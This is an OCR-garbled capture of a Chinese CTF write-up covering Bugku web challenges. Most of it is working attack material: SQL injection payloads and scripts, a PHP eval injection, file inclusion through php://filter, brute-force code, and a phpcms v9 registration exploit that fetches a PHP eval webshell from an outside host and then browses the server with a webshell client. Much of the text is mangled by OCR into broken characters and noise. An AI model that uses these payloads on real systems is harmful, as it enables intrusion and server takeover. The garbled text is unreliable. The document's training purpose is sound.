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<html xmlns="http://www.w3.org/1999/xhtml">
» <head>..</head>

«+¥<body id-"body" onload="init()"> == %@
<l--flag KEY{Web-2-bugkssNNikls9olee}-->
<script type="text/javascript” src="js/ThreeCanvas.js"></script>

</body>
</html>
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[Tayget [ Proxy [swde. [sﬂnnev I Intruder IRepeam T Sequencer [Decmv I Comparer [ Extender [ Options IA\ens }
[1 ]2 Jawal] -
Go || Cancel | | <7 || > Target: httpi/i10;

Request Response
Raw | Params | Headers | Hex Raw  Hex
POST / HTTP/L.L A
Host: 103.238.227.13:10085 r
User-Agent: Nozilla/5.0 (Vindows NT 10.0; WOWE4; rv:52.0) Gecko/20100101 Firefox/52.0
Accepe: text/huml, application/xheml+xml,application/xml; g-0.9, ¥/ *;q=0.8
Accepe-Language: zh-CH, zh;q=0.8, en-TS; 0.5, en: q=0.3
Accepe-Encoding: gzip, deflace
Referer: http://103.238.227.13:10085/
Connection: keep-alive
Upgrade-Ins=curs-Requests
Content-Type: multipart/form-data; boundary= —199152627129434
Content-Length: 39355
- -189152€27129434
Content-Disposition: form-data; name="£ile"; £ilenawe="3.png"
Content-Typs: image/png
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C' ® cbugku.com/yanzhengma/ h* g H
= X
84+77=? I} I c.bugku.com &7 :
HE
E
[w ﬂ Elements Console  Sources  Network meline  Profiles  Application ~ Security ~ Audits  EditThisCookie : X
Styles Computed Event Listeners »
html xmlns="http://www.w3.0rg/1999/xhtml" >
> <head>..</head> Filter thov .cls +
ALY >
body . . . . . . element.style { o
<span id="code" class="code” style="background: rgb(109, 73, 33); color: rgh(169, 242, 124);">84+77=2</span> }
<input type="text" class="input” maxlength="123"> 0
<button id-"check">&:if</button> +input {

P <div style="text-align:center;">..</div> width: 1@epx;

<script src="js/jquery-1.12.3.min.js"></script> }
text/javascript” src="js/code.js"></script> input:not([type]), user agent stylesheet
< input[type="email” i], input[type="number"
</html> i], input[type="password” i],
input[type="tel” 1], input[type="url"™ i],
input[type="text" i] {
padding:» 1px opx;
input { user agent stylesheet
-webkit-appearance: textfield;
background-color: [Jwhite;

-webkit-rtl-ordering: logical;
user-select: text;
cursor: auto;
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Web3
HE—EHME, BT .. BEEZ2HTF2E5FEY, RUE—

<1 --&H75;84#69; &H#89; &#123 ; &# 74 ; &#50; &# 115 ; &HO7 ; &#52; &#50; &#97 ; &#H104 ; &#74 ; &H#75 ; &#45 ; &#72 ; &#83 ; &#A49; &it4

EEMRER, HAELE—T.
F python 5 4™ i B2 ) i A< B 7]

S='&#75;&#69; &#89; &1123; &#74; &#50; &#115 ; &#97 ; &#52 ; &#50; &#97 ; &#104 ; &1 74 ; &#75 ; &H#A5 ; &#72 ; &1#83 ; &#49 ; &#49
key=s.split(';")
flag=""
for i in key:
flag+=chr(int(i[2:]))
print flag
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HERSQUEAN, F—KEEAREFTEN, GEHC—PRARKEE! THHE
HABMNER T FELGIARIEAN R, REHT & Fiunion selecttt 4 KIEHAIHBAHAWH . REFAGFAS
HE % FIHEN!

923& http://103.238.227.13:10083/index.php?1d=%df%27 or 1%23



SQLimis

€  (® 103.238.227.13:10083/index.php?id=%df%27%200r%201%23

INT

X |+ _

¢ Q#x wB ¥$ 4 98 & -

B sxme [ mitce [ ez [@ex @ o [ e [ or @ ewos [ 2eas [ eas [ zees @ amets [d masiphone @ $iF b
v = @ SQL- XSS Encryption- Encoding- Other-

@l Load URL | http://103.238.227.13:10083/index.php?id=%df%27 or 1%23
% split URL
». Execute
[] Enable Post data [ ] Enable Referrer \
~, N N, > o
< N
SQLiFENMRL

EHifkey3k,id=1/string =B

key

1

fdsafdasfdsa

BAE TR FTHEN, REBRANUEALLEFS K EidRkey, MAMTERKREEFENT, M50 LK

E—F
@& Load URL
% Split URL

» Execute

http://103.238.227.13:10083/index.php?id=%df%27 union sele|ct 1%23

\

[ ] Enable Post data [ | Enable Referrer

SQLFEN M,

EflkeyE, id=1/string=E&

The used SELECT statements have a different number of columns

M HIXBWE T RN, RATEANK Ry, AT W] AR 8RR 5

4

ik http://103.238.227.13:10083/index.php?id=%df%27 union select 1, table name from information schema.tables%2

LI

RGN ERKE

LINN

http://103.238.227.13:10083/index.php?id=%df%27

|
BHBE—r/NIE, keyBiRTBRANRERWASTAENR, RINEZHREEE, payload

union select 1,string from “key where id =1%23



S JE B AT LTS B — -/ hashfE, 45 RKEY{54f3320dc26 1f313ba712eb3f13a1f6d}

SQLEA1

FEH T RIBA . TG BEMW T LAREE, ERRFHEERT . MAZHEA—A; WHE—-BERS
R

BMRFARRSRY, HREART? BATMEX N HH

/ /xssIdiE
$id = strip_tags($id);

RARBON T Bilbxssilt RISREERE T, MARNIATCAF XA iESE sqlid IE. Hini

INT ~v| = & SQlL- XSS- Encryption- Encoding- Other-
@ Lload URL |http://103.238.227.13:10087 /index.php?id=1 o<>rder by 2#

U Split URL
b Execute \

[ ] Enable Post data [ _| Enable Referrer

/ /idiEsql
$array = array('table','union','and',’'or', 'load_file', 'create’, 'dele
foreach ($array as $value)

', 'select’,'update’, 'sleep’, 'a

{
if (substr_count($id, $value) > 8)
{
exit('EIRBESSETF | ' . $value);
}
}
//xssTiE

$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

<
HEER .
id 1
title title

AL AEERFHERAERS, RURRINBER S unionEd (ER) HSEHEEHERT (RXBT..O

payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1 fro<br>m “key #

p:: Ry



BRI FAMAEEE, SHRAREKER.. HEAEFEKHERSZ2Hubuntufit. EESFUXANRSBAZE,
fePATbashis 4, EHRIEFAPhpHIEE LT T . EREAeval( “var_dump($a);”); iXa)i%. payloadin

http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //

INI v = @& SQL- XS55- Encryption- Encoding- Other-

R AV Ihttp://post2.bugku.com/hello?hello=);print r(file("./flag.php™)); /.
I split URL

U Execute

["] Enable Post data [_] Enable Referrer

Array ( [0] => $flag = 'Too Young Too Simple’; [2] => # echo $flag; [3] => # flag{ccd234¢9-c022-4ce” i [4] => 7> ) <?php
include “flag.php”;
$a = @$_REQUEST[ hello’ ];

show_source (_ FILE ) ;

i
JE R B AT AR XL

flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}

81
RULiE, XRFEEKE

INI V| = @& SQL- XS5- Ekncryption- Encoding- Other-

@ Load URL |http://post.bugku.com/web1/index1.php?args=GLOBALS
% splitURL

» Execute

[] Enable Post data [ | Enable Referrer
include “flagl.php”;
highlight_file(_file_);

if (isset (§_GET[ args’ 1)) {
$args = § GET[ args’];
if (lpreg match (”/ " \w+$/”, $args)) {
die("args error!”);

}

eval ("var_dump (§Sargs) ;") ;
>
array(7) { ["GLOBALS"]=> array(7) { ["GLOBALS"]=> *RECURSION* [" POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } [* COOKIE"]=>
array(0) { } ["_FILES"]=> array(0) {} ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) {}
[" GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38)
" e T ["args]=> string(7) "GLOBALS" }
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http://blog.csdn.net/qq_35078631/article/details/62438259
http://blog.csdn.net/qq_35078631/article/details/62438259

L L L L L

HTTP/L.1 200 OE

Connection: close

Date: Tue, 11 Apr 2017 13:24:29 GMT
Server: Microsoft-IIS/E.0
¥-Powered-By: ASP.NET

¥-Powered-Ey: PHP/5.2.9-2
Content-Type: text/htmwl;charssec=utf-8

O<html>

<title>BKCTF-WEB4</title>

<hbody>

<div style="display:nones;"></div>

<form action="index.php" method="postct"™ >

000000« x>

<br>

<script>

var pl =
'H66%TSR6eR63LTA69%6E%6e%20%63268%60%63%6hEO3%TIL62%6d%69%T4%28%29%7TheT6%61%72%20%61%3d%64%6E%63%T75%6d%65%6e%T4%2
et6TE65%T4%45%60c86526d%65%6e2T4%42%T79%49%64%28%22%T0%61%73% T34 TTH6ERT2%64%22%29%3h%69%66%28%22%75%6e%61%65%66%69%6
er65%64%22%21%3d4% 742 79%T0%65%6E266%20%61%29%The69%66%28%22%36%3T7264%237%30%39%62%32%62 ' ;

var p2 =
'%61%61%36%34%38263%66%36%65%38237261%37231%31%34266%31222%3d%3d%61%2e2 764615602 T5%565%29%72865%74%75%72%6e%21%30%3
bY61%60%65%T2%T4%28%22%45%T2%T72%6E%72%22%29%3b%61%2e%66%6E%63%T75%73%28%29%3b%72%65%T74%T5%72%6e%21%31%7d%7d%64%6E%6
3L 75%6d%65%6e%T4% 221674654 74%45%6CH65%6d165%6e%T74%42%T79%49%64%28%22%6C%65%T6%65%6CH51ET75%65%TIHTL4%22%29%2e%6E%6e%7
3%T75%62%6d%69%T4%3d263%68%65263%6h%53%T75%62%6d%69%T74%3h' ;

eval({unescape(pl) + unescape( ' %35%34%61%61%32' + p2)) ;

</script>

<input type="input" name="flag" id="flag" />
<input type="submit" name="submit” wvalus="Submit" />

</ form>
OoOo0o0ooo

RIEBATRI— B sl A RELjsiz T8 — T !
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' %66%75%6€%63%74%69%61%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%7 2%20%61%3d%64
var p2 '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6C%75%65%29%7 2
var p3 =unescape(pl) + unescape('%35%34%61%61%32"' + p2);

console.log( p3);

var pl

~AOWON -

R R 1R B

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d70

Al LA 2 5t 2 8] 2 H i i& — T password ML~
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[Tayget [ Proxy [ Spider [sﬂnnev I Intruder IRepeam T Sequencer [Decmv I Comparer [ Extender [ Options IA\ens }
[1 ]2 Jawal] -
Go | [ Cancel | [(<iv] [ >ir

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST /websy index.php HITP/ L. 1 O+ I OO T OO L 0D PO O+ 01 O+ T O3+ (O 0D D O T+ A0 PO+ (T O+ L0 &
Host: c.bugku.com FUHIIHHIITH IO 400100 [H0+ O+ D1+ COIH 0 [+ O3+ O D0 D+ O+ O+ 01O O+ D T O+ T+ P
User-Agent: Hozilla/5.0 (Vindows NT 10.0; VOWE4; rv:52.0) Gecko/20100101 Firsfox/52.0 PEOH (T LOTT+E0) GO0+ CCVEC! D1+00) DT+ (DO 1+ D0 EETT) D 4+ D10 D10+ CH D+ 01) D D4 5+ D114 O O DD GO+ DD §

Accept: tewt/html,application/xhtml+xml,application/ ml; q=0.9, */*; q=0.8 CUHL1+HEITH (L0 [ DI T4 D14 11) [ 04+ E14 03+ (P01 D) 0 0D) O+ D1+ F D111+ D101 D+ 1) T+ O+ D
Accept-Language: zh-CN, zh;q=0.8,en-US;q=0.5,en;q=0.3 11+ 01+ 00) CHE T+ (0T 00D T+ 0034 (P EII+ 001D O S E1+ 0+ D104 (01 RN+ D) 0 DR EDT+ (-1 0+ 003+ (O D) LOT D E+0T)
Accept-Encoding: gzip, deflate CHO I+ ( LN IT+0DE01T) [+ 14 1+ B+ D110+ (D14 01) [0+ D1+ 14 010400 E401) [+ 01T+ EI+ 1) [0 1+ 14+ (14 140114 ( 18 1+ [+ 1+ 1111+
Befersr: hrep://c.bugku.com/wsb4/ index . php 1) [+ [1414 [+ 14 T4+ 01 DO D 01D BHET1+CE [T+ 00 [E1) G+ D4 B+ L1304 D1+ 01D [ [+ 1+ [T+ 00T+ [+ 00+ (PO 0T
Connection: keep-alive [+ OO DT D O+ CE DT O+ D) G D110 D0 DD O D D) T+ [+
Upgrade- Insecure-Requests: L C1) G+ 1+ 01T+ CCTEE1+00) 0+ 1T+ (O R D1+ 00D [+ 001+ 00T+ 0T EETD) D0+ D1+ D 11140 D101 [+ D1+ 0+ 01T+ (P LT+ D) 1114000 DD
Content-Type: application/x-wyv-form-urlencoded AL LI O S LT D 0D) DH+ D114 11) [ [+ 014 0T (O D D1+ D+ T LI 0 B+ D00 DT+ 01 00D [+
Content-Length: 20 HLI+ L+ D244 0D) D D1+ 50T+ D00 DHOIT (DR 01 D O+ 0+ [+ D T4 (L) [0 EITD) B 4 D DT+ 410D ©
HLHEITT) D4 1404 [+ 0+ [T 0 1+ 14 L1+ 0 [T L [T+ 014 101D+ (G D4 T D14 [+ 04 011)) [O LT+ [HO+(TE+O 0 T+
flag=lesubmit=Submit THGH OO+ DD COOT DO D401 001+ (0 T+ DT EE1D) G-+ D+ DD T+ DD DL+ DT+ O L DD L D11+ ODHLT) DL+
[+ 0T O+ D OTT4 0D D OO IO O OO DI GO+ DT+ DO 1) G O+ DT D) [+
C114 O 0D D+ ETT+0 T ED) [ O 1 D S DT D 0T) H 5+ D111 [+ LT D1+ CCT LTI+ ED) [+ [T+ 08 (1400 [ D1+ 410
ALHEITHCN IO GO 1+ O 01) B+ T340 LT+ ED) G+ D14 OO ECE B+ D) E+ D11+ 0 [+ 11 L011) [+2+ [+ D011+ O+0D [ D
T+U T4 IT+ET) [FDT4 (U DRI+ T1) L 1+ 04 L1+ 14 [T+ 00 I+ [ TT+E0) [+ D1 1+ D400 O+ 00) B I+00 O+ DT
1400) [+EIT4 (0 L1+ DT EETD) B+ 14+ D14 D1 D040 D140 ) D014 - D114 (VT4 DD B+ D114 DT+ 00) DU+ D14 DT+ D4 VO DD B+ 1D
111 40+ GO OO0 GO CH+ O+ DT+ D0 CHENTH O VL O DT+ CD I+ DNE0D) O+ O+ DD+
O+ G- O O+ OO ID OO O+ 0D D+ (O T+ DTEOT) [ D1+ OO D+ D) [ O+ T+ (0 01 [+ 00
T+CTHET) O+ 1 G DT1+ 0O 0T) D4 D104 1) D L+ D1+ I T+ D+ 00 D1+ 0D) DO+ T+ 01 DOTT) [+ DT+ 1+ 1D
HLHEIH T4 (0D IH00) [+ D10 ET+) D0 D11+ CE 0+ 1) BT T+CE DO+ 00D GO+ D11+ 1 [0 0+ 1+ DI T+ I+ 0
) LT+ [1+1+ [T (1 I+00) [+ D10+ (1 LEI4 1) [ [T+ 04 [+ 0 [T+ (1 IT400) [+ 1401114010 [0+ 14 D14 4 01400 T4 01) [+ 1+
TLCUO400) [+ 0040 013+ 01 EE1T) D0+ 14 04 1140 T4 000 [0 D14 10104 (DRI [ D114 00DE1+00) [ D14 D01+ D10 O+
LR DIT) O OITT+ OO DD G DD O+ L1+ O DI T OO O LU DT DT DD LR DT DD [+
11+ ITHED) CHO+ GO D+ 54 D14 T0T)) EOCHC1H0T) CHET+ (0 0 0D+ D00 O RT3+ 0 00T O DG DD+ 1Y
AL+ D40 0] CHITC O+ ED) [+ L1+ D140 D 0D) D2+ 1111 00 D1+ DRI+ (R 0+ (B D) TOO LD+ 0D [+
ACLTEITFII LT CHUHDI T+ 01034 (U EI ED) D0 D140+ 01 +C I 00) DO+ O 01D 5 D+ D DT+ O+ LT+ [
[+ 14+ 1404 011+ I LD 0D T+ 11400 D140 D01 [0+ 014 D134 (L0 D D140 011+ 00D DI+ (DD LD
HLHEI+1HIIT (DD EI4+00) [+ 14 0010) [+ 14 D1+ B+ T1104 001 LO 4 1) B D134+ (D4 01) [0+ D14+ 04014 10104 (PR DT+ D00 [
T+ B D110 DO O OO O 0D T O+ O D) G- OO DI+ DO D) 00+ O+ T+ 1)
CUE1+ L EIT4 (DI ) [ DT T+ E1 ) D E1+ 014 01T+ (P04 D) 0 DITT) D24 D1+ D ITT1+CH DI 0T) D5+ (111 ) L+ [T+ 141D
1140101+ 00) CHE T+ (0 T4 E0) [+ 0004 (L EI1+ 00 001) O S D1+ 0+ D104 (01 RN+ D) 0 HEDT+ (- 0+ 0 03+ (O D) LT D! D1+ 10
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E” 8urp suite Professional v1.5.18 - licensed to LarryLau - O X

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner T Intruder TRepe:te( T Sequencer I Decoder T Comparer I Extender I Options TAIerLs ]

1% (2= |3 % |4 = |Ba| .

Go Cancel <|v >

Target: http://b.post.bugku.com B B

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render }
GET A HTTF/L.1 200 OK A
/post/ Lndex.pl'?f.1.1e=1:hp:f/fllter/convert,.base64—encade/resource=1ndex.php I - Server: nginx -
HTTF/L.1 Date: Mon, 15 May 2017 0Z:5B8:03 GMT
Host: b.post.bugku.com Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:53.0) Gecko/Z0l0010L1 Connection: keep-alive
Firefox/53.0 Eeep-Alive: timeout=&0
Accept: text/html,application/xhtml+zml, application/xml;q=0.9,*%/*;q=0.8 Content-Length: 581
Aecept-Language: zh-CN, zh:q=0.8,en-U3:q=0.5,en:q=0.3
Aecept-Encoding: gzip, deflate <html>
Connection: kesep-alive <title>Bugku-ctf</title>
Upgrade-Insecure-Requests: L
P GhObWw+D QogT CAgPHRpdGx1PkI1Z2t 1 LWHOZ jwvdG10b GU+DogTCAgDQo 8P 3B 0 cAOKCWVy cm9yX
3T1c69ydG1luZy gwKTsHCg1pZighdF 9HRVRbZm1 sZV 0pe 2V a68 gTzxh IGhy ZWY9T 1 4vaW SkZXguct
hwP2ZphGU9c2hvdy SwaHAiPmils aWHr IG11PyBubzwvYTAn0300CgkkZmlsZTOKXOAFVE snZmlsZ5d
dOwDECWIMEHHO cnti0cigkZml sZ5SwilidvIi18fHN0 cmlz dHIod GZph GUsICI0cCIptfHxz dHIp 3Ry
ZmexchZzpmb GEne 2VkdibmlEZWxpZ19 sYWHvbF9zaV9zaWh0£Q0KPz 40 CjwvaHRtbDANCg==</htm
1=
= =
i L
[;?J uj u u ‘ 0 matches ? < + > | | Type a search term 0 matches
Done 726 bytes | 118 millis
E” 8urp suite Professional v1.5.18 - licensed to LarryLau - O X

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner T Intruder T Repeater T Sequencer ]’De(‘.ode( T Comparer I Extender I Options TAIerLs ]

Rhlikpew0KCQIY 2hvCJPaCBubyEiOwIKCQlleGIOKCKTDQ0JFQIKCWILY 252G UoJGZpbGUpOyANCiSvZmsxhZzpmbGFne2V kdWaibmiFZWxpZI9s YWNvbF 9zaY 9zaWhOfQOKPz4NClwaHRtbDANCg== @ Text ( Hex

Decode as ... v
Encode as v
Hash _ v

¥

N ] l Smart decode J

A5 A EEa il o
echo "Oh no!”;
exit()

}

include(Sfile);
/fag-flag{edulcni_elif_lacol_si_siht}
7
</html=

Al (® Text () Hex

Decode as ... -
Encode as ... -
Hash ... v

[{l Smart decode j

phpcmsV9

RARE R phpieidik 2 —, #HRemsz—, T HAR R ZM L T R IEHFER T phpemsOiIdEiF, E&HF EF

mL—TF.

EVRITag B, BB T MR RMEIERICHE L CRBBUER mysqiE AR

EREARINCE R




http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1

R RPHERTE, 2AfEMHiEpayload

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http:

AR BAE Blwww.bugku.com/tools/phpyijuhua.txtih £ R AT/N S Kbt T, EBEEEN—AEARST. REL
£ UL Ja <R Blmysqlés iR B4 bk, X B GEL B A A ek A DG e (2 2 SR B AR AR

€  ® phpcms.testbugku.com/index.php?m=member&c=index&a=register&siteid=1 ¢ QEx wB &A@ <} w =
8 mxome [@ ke [@ a5 [@es @ o [ eess @ sor @ purss @ xuas @ ees @ seiy [ exers [@ somiphone @ #F Hi
INT v = @ SQL- XSS- Encryption- Encoding- Other-

@l Load URL | http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
4§ splituRL

) Execute

Enable Post data [ | Enable Referrer

Post data siteid=18&modelid=11&username=jdmkdd&password =jdmkdd&email=1234jmmkdd56@qq.com&info[content]= <img src=http://file.codecat.one/normalOneWord.txt#.jpg > &dosubmit=18&
protocol=

MySQL Query : INSERT INTO "phpems’.'v8_member_detail (‘content’, userid') VALUES ('<img src
MySQL Error : Unknown column ‘content’ in ‘field list'

MySQL Errno : 1054

Message :

Need Help?

gku.com/uploadfile/2017/0516/20170516082537386. txtaliiFy)

@ phpcms.test.bugku.com/uploadfile/2017/0516/20170516082537386.txt ¢ Q @x

ER-E N C ki C K=l=dl C B2 C ERasill C Focs ool C il C Pravze il C ESeacvl C Lzl CRiesll C B 3 C R
INT ¥| = & SQL- XSS- Encryption~ Encoding- Other-

& Load URL
% split URL
J Execute
Enable Post data [_| Enable Referrer
Post data

<{?php @eval ($_POST[ akkuman’]):?>

W UE B AT, REBRAMR EERERAD! phpseff

RESREA



18 sxpin [ mitce [@ o [[sx [ o [ asrs [ ovr @ ek [ seeE [ wss [[eery @ emxan [§ sEsiphone @ 3T Lk

INT ~¥| = @& SQL- XSS- Encryption- Encoding- Other-

@l Load URL |http://phpcms.testbugku.com/index.php?m=member&c=index&a=register&siteid=1

B spiituRL

¥ Execute
Enable Post data [ ] Enable Referrer

Post data siteid="1&modelid="11&username=jdm22kdd&password=jdmk2dd&email=1234jmm1 ZlkddSG@qq.com&info[cantent]: <img src=http://files.hackersb.cn/webshell/antSword-shells
/php_assert.php#.jpg>&dosubmit=1&protocol=

MySQL Query : INSERT INTO "phpcms’.'v9_member_detail ("content’, userid’) VALUES ('<img src=http://phpcms.test.bugku.com/uploadfile/2017/0516/20170516093438761.php>","174")
MySQL Error : Unknown column 'content in 'field list'

MySQL Errno : 1054
Message :

Need Help?

HR! XEF—RKBEXPINREKSELBERTETR, FUSRK
R AHary R TR, BT

# BugkuEIEAPHPcms vORIET 2

r.:l WHEB4n: Iphpcms. test. bugku. com

|

|1 RS

®) phpoms ¥9.6.0

.. L\l it - |'«'ﬂr. bugku. com/tools/phpyi juhua. txt

|

EH
f#e

D

fi

shell

s

http: //phpems. test. bughu. com/uploadfile/2017/0616,/201706160120. . .

)

WG EfE—REAR LIRpban T, FARFH/AREARNPIY ! BRXR, F—HRTJER! | ! BRI T!

m @ph:pums. test. bughu. .. phpems. test. bugku. .. |+ =0 x
2 fwebs v | R BHR— 2017-05-16 PUEH—
120.24.86. 145 B (10), 3ZHH(13) B R (=] b ¢4 * B C] 25l
= . A2
B %/ 3 html 2017-05-10 18:16:21 4096 0755 E;EETSI
B eb N
Eg wln il ) readne 2017-05-10 18:09:47 4096 0755 adsfdf
8 2017 (2 phpsso_server 2017-05-10 18:09:47 4096 0755 - Eéfggg“”
m - (5] 2
[ 0518 3 api 2017-06-10 18:09:46 4096 07858 e s
) 0513 - ,
= 3 statics 2017-05-10 18:09:47 4096 0755
I3 0510 -
3 0514 I caches 2017-05-10 0788
I 0811 22 install_package 0755
9 o512 @ index htnl 2017-05-15 9900 0777
=3 o515
€3 poster B flastda txt 2017-05-09 20:19:01 26 0644
CJf install @ PR, htn 2017-05-10 18:09:47 3581 0644
El ) phpens [& FewFile. txt 2017-05-14 22:31:16 0 0644
Q0 templates = domsin. xnl 2017-05-10 18:09:46 104 0644
Il—j plugin =1 CrosSsdomaln. Xm. N N
3 Languages i =pi. php 2017-05-10 18:09:46 991 0644
I[:'J model i admin php 2017-05-10 18:09:46 48 0644
Q Libs €@ s htnl 2017-05-10 18:09:46 523 0644
I modules
€ hnl B phpons_v9. 6. 0_UTF8. zip 2017-04-18 22:39:43 8727883 0644
) readme e index. php 2017-05-10 18:09:46 318 0644
Q) phpsso_server [@& robots. txt 2017-05-10 18:09:47 170 0644
I api
) statios h pluzin php 2017-05-10 18:09:47 3621 0644
©ll caches [ £avicen. ico 2017-05-10 18:09:46 3158 0644
GB2312




m I phpems. test. bugku phpems. test. bugku. .. + = [ X

A Sweb/flagtda. txt v| &% SHA— 2017-05-16 UEH—
flag{admin_a23-2e2132_kevi] - g s
EhABI
hello
adsfdf
20070413
[El=EEs
g

Line; 1,.GB2312

ST Em A IRTE A AL L
WA ZEEEfag

HAER T WH, MASMNFELHFEElag, —FLMT, MABI10AMEN, EMBPRBRE, E

K, HEAFTENRENE, BERBHAT, REWNT.

#coding:utf-8
import requests
url="http://120.24.86.145:8002/baopo/?yes"
value=[]
for i in range(0,99999):
if(len(str(i))<5):
value.append("0"*(5-1len(str(i)))+str(i))
else :
value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding="utf-8'
patch=content.text
for i in value:
data = {'pwd':i}
print 'trying',i
content = requests.post(url,data=data)
content.encoding="utf-8'
html=content.text
#print html
if html != patch:
print html
#print content.text.decode('gbk', 'ignore')

N
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13
14
15
16
17
18
19
20
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22
23
24
25

ok BRI AT AT B AR, 2 BUREL WTURRIER

B FEEC\Windows\System32\cmd.exe - python "C\Users\Assassin\Desktop\MYptrhon.py" — [l X

8 %flag: flag{bugku-baopo-hah}

I 2K
B S Y VR A T DA B e



C' | © 47.93.190.246:49162
HET , UEBESRIENEN , FREE R,
EFIE , BAENSRTIIES © E5?"
HaTs  EFONFHS RN, AT  EFERBIC 7"
B RERTEEERTIS " ERANIRERS , RS ARIEENRE. ..
BREERN. WE , kR

TR THHE | EERERNOAATETSH A5 —FRa k...
-
w ﬂ Elements Console  Sources Network Performance Memory  Application  Security ~ Audits  EditThisCookie Q1 X
</p> i ) “||styles | Computed Event Listeners
prPT IR, FERITM ok T B ~fEnge »
</p> Filter thov .cls 4+
<> T HE, EERTFER SR R 2N %D “E4 T ARERER? > element. style { N
% AR A ¥
p{ user agent stylesheet
< display: block;
TCEHRAERIRA. . UUE, Bk -webkit-margin-before: 1lem;
<a class="1ink" href="code.txt" target="_blank">#{#</a> -webkit-margin-after: lem;
-webkit-margin-start: epx;
-webkit-margin-end: opx;
}
Dhergn 6
| border =
PoTomm oo 1
+_padding -
e - " - 2= LY -
html  body div u 22 L indla <
X

Console

R Ja B RS E Bl & Hphp T

<?php
if(isset($_GET['vl']) && isset($_GET['v2"']) && isset($_GET['v3'])){
$vl = $ GET['vl'];
$v2 = $ GET['v2'];
$v3 = $ GET['v3'];
if($vl != $v2 &8& md5($v1) == md5($v2)){

if(!strcmp($v3, $flag)){

echo $flag;

¥

?>

PR o0CONO U WN =

FIF £ I md5 5528 R ICEE Fistremp i B getdsi, Zastremp (B, F/F#H) ==0, RERNWiEpayloadin
T

http://47.93.190.246:49162/?v1=QNKCDZ0&Vv2=240610708&v3[ ]=0



5 %flag

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

G E #

RANGEN, BEBERFFEANBAT ...
SR Zikunion B, MXFIH, KIELNFI

»)  Execute ‘

Enable Post data [_| Enable Referrer

Post data |- id="union select 1,1,1,1# |

PRER LV ‘IIIIII

1,2,3... ‘

18R ERER

SRJE Y DU ER R EN AR, 8 L FK R AR 51 BV T
- 33

id="union select (select SCHEMA NAME from information_schema.SCHEMATA limit 1,1),1,1,1#

=

id='union select (select table_NAME from information_schema.tables limit 4@,1),1,1,1# #f14ghip&gis

BINBRANKRSZ TE T A



#coding:utf-8
import requests
import re
url="http://120.24.86.145:8002/chengjidan/"
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding="utf-8'
patch=content.text
for i in range(1,500):
data = {'id':"'union select (select column_NAME from information_schema.columns limit %d,1),1,1,
content = requests.post(url,data=data)
content.encoding="utf-8'
html=content.text
html=re.findall(r'<caption>(.*?)</caption>',html,re.S)
if len(html)>0:
print html[@][:-4]

_— e A LA A A
oo r N0 NO A WN -

WEEXAHE, R

id=-1"' union select 1,2,3, group_concat(column_name) from information_schema.columns where table_nam

RiGHEEWRIT, payload

id="union select (select skctf_flag from fl4g limit 0,1),1,1,1#

BUGKU{Sql_INJECTON_4813drdshz4}

[E i X B T sqlmap postiE NKI i, V&S
sqlmap i postiE A\ 5 i
Web6


http://blog.csdn.net/qq_35078631/article/details/72865354

ENMEEHRAIREEEE, —FBEHEKIheadersH Hiflag, 2R J5baseb4f# % Fiikpostitxr, 5— NIk
77, (BRE, XEFEEE—HE.
MELH 2 KN, R A 1) BHEcookie & 224G H. . Fr LA .. python S A KB, TEM E&iE. FEmMLE
2. BEM LS.
A -

#tcoding:utf-8
import requests,base64
import re
url="http://120.24.86.145:8002/web6/"'
value=[0]*1000000
s=requests.Session()
content = s.post(url)
html = content.headers['flag']
flag = base64.b64decode(base64.b64decode(html)[-8:])
#print flag
data = {'margin':flag}
content = s.post(url,data=data)
print content.text

PN N2 ©®ONOUEWN =

flag

KEY{111dd62fcd377076bel8a}

1

Cookielx¥w? ? ?

fé] B cookietdi&, B SEHE MR —MERIC M. KBTI U Blfilenamebase64 i # & I A &, £t il
lineRAEATEL, WEEAIZ KM index.phpA £,



#coding:utf-8
import requests,base64
import re
html=""
url="http://120.24.86.145:8002/webl1l/index.php?line=%d&filename=aW5kZXgucGhw'
s=requests.Session()
for i in range(100):
content=s.get(url%i)
if content.text=="":

break
html+=content.text

N2o©WoONOOAWN =

B #index.phpHIFEARS I T

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$ _GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'Q' =>'keys.txt',
'1' =>'index.php"',
)s

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ 'margin’']=="'margin’'){
$file_list[2]="keys.php"';
¥

if(in_array($file, $file list)){
$fa = file($file);
echo $fa[$line];
¥

?>

POV NOUO R WN =



14
15
16
17
18
19

RILEE R WF N —4~cookie, ikkeys.phpiI NiE&ESCHFIRS, 2R)5H 15 keys.phpBIFl, payloadin

#tcoding:utf-8
import requests,base64
import re
s=requests.Session()
cookies={"'margin':'margin'}
content=s.get("http://120.24.86.145:8002/web11/index.php?line=0%d&filename=a2V5cy5waHA=", cookies=co
print content.text

O~NO OB WN -

flag

KEY{key_keys}

XSS
BATE AT LLE BB T

